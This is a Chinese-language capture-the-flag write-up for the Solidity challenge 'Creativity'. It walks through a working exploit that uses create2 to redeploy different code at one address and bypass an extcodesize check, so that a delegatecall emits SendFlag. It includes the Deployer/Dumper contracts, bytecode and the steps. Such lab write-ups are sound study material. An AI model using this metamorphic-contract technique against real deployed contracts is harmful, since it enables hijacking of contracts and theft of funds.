CTF-Creativity

题目:要求调用sendFlag(),记录事件
源代码:

pragma solidity ^0.5.10;

contract Creativity {
event SendFlag(address addr);

address public target;
uint randomNumber = 0;

function check(address _addr) public {
uint size;
assembly { size := extcodesize(_addr) }
require(size > 0 && size <= 4);
target = _addr;
}

function execute() public {
require(target != address(0));
target.delegatecall(abi.encodeWithSignature(""));
selfdestruct(address(0));
}

function sendFlag() public payable {
require(msg.value >= 100000000 ether);
emit SendFlag(msg.sender);
}
}

这题涉及到汇编,委托调用,还有一个不明显的create2的用法
首先看到check函数,要求参数地址的合约代码大小不能超过4字节,这是很难办到的,在ethernaunt上遇到过这种类似的题,只不过那上面的题考察点没有这个题多。
继续看到execute函数,首先进行了零地址的检查,在进行委托调用,最后是自毁函数
如果我们要直接调用sendFlag函数,必须发送value大于100000000ehter,这是肯定是不可采取的措施,怎样才能绕过这个require,我们就要回到execute函数中,突破口是:target.detegatecall(),通过委托调用target合约,执行结果在Createtivity合约中,这样就清晰了
我们可以通过create2的一个骚操作,在同一个地址上部署合约,合约的字节码可以不同,简单来说,就是在同一个地址上先后部署不同的合约,这样就可以实现,第一个部署的合约,满足自毁函数,第二个部署的合约,实现合约中的emit SendFlag事件
接下来就是考虑如何用代码实现create的功能

// SPDX-License-Identifier: MIT

pragma solidity ^0.5.10;

contract Deployer {
    bytes public deployBytecode;
    address public deployedAddr;
   
    function deploy(bytes memory code) public {
        deployBytecode = code;
        address a;
        // Compile Dumper to get this bytecode
        bytes memory dumperBytecode = hex'6080604052348015600f57600080fd5b50600033905060608173ffffffffffffffffffffffffffffffffffffffff166331d191666040518163ffffffff1660e01b815260040160006040518083038186803b158015605c57600080fd5b505afa158015606f573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015609857600080fd5b81019080805164010000000081111560af57600080fd5b8281019050602081018481111560c457600080fd5b815185600182028301116401000000008211171560e057600080fd5b50509291905050509050805160208201f3fe';
        assembly {
            a := create2(callvalue, add(0x20, dumperBytecode), mload(dumperBytecode), 0x8866)
        }
        deployedAddr = a;
    }
}

contract Dumper {
    constructor() public {
        Deployer dp = Deployer(msg.sender);
        bytes memory bytecode = dp.deployBytecode();
        assembly {
            return (add(bytecode, 0x20), mload(bytecode))
        }
    }
}

以上有俩个代码,先部署Dumper合约,获得它的字节码,Deployer合约实现create2的功能
首先先将Deployer 部署,获得地址:0x307FdF03B1842A501F52221e4cF02D67BfeEc399
然后使用Deployer.deploy部署0x33ff,得到部署的合约地址0x2b473f517088f6d08e82cA06dD5A5e6A68Eb4663

调用check(),target就是我们部署的合约

然后在进行自毁,给我们已经部署的合约发一笔空交易,让它进行自毁,再次使用create2的操作,还是使用Deployer.deploy在这个地址部署另一个合约,合约的内容要包括emit SendFlag(0),
这里有个简单的hack合约
contract hack {
event SendFlag(address addr);
constructor() public {
emit SendFlag(address(0));
}
}
最后再调用execute函数,就会执行我们第二次部署的合约里的emit SendFlag;

完成以上步骤,就可以看到我们已经成功执行了emit SendFlag

补充

creat2的用法:在solidity 8.0版本之后,都是使用new关键字来创建合约,但是它还有一种就是使用内联汇编(assembly)

主要说一下,new的方法创建合约.直接上合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// 被创建合约
contract Callee {
string value1;
string value2;

// 构造函数有两个参数
constructor(string memory _value1,string memory _value2) {
value1 = _value1;
value2 = _value2;
}
}

// 合约创建者
contract ContractCreator {
// 新合约地址
address public contractAddress;

// 创建合约
function newContract(string memory value1,string memory value2) external {
// 生成盐值
bytes32 salt = keccak256(abi.encodePacked(value1,value2));
// 创建 Callee 合约实例,参数为 _salt, value1, value2
Callee callee = new Callee{salt:salt}(value1, value2);
// 设置新建合约的地址
contractAddress = address(callee);
}
}

委托调用:看这俩篇文章1文章2,讲的很好。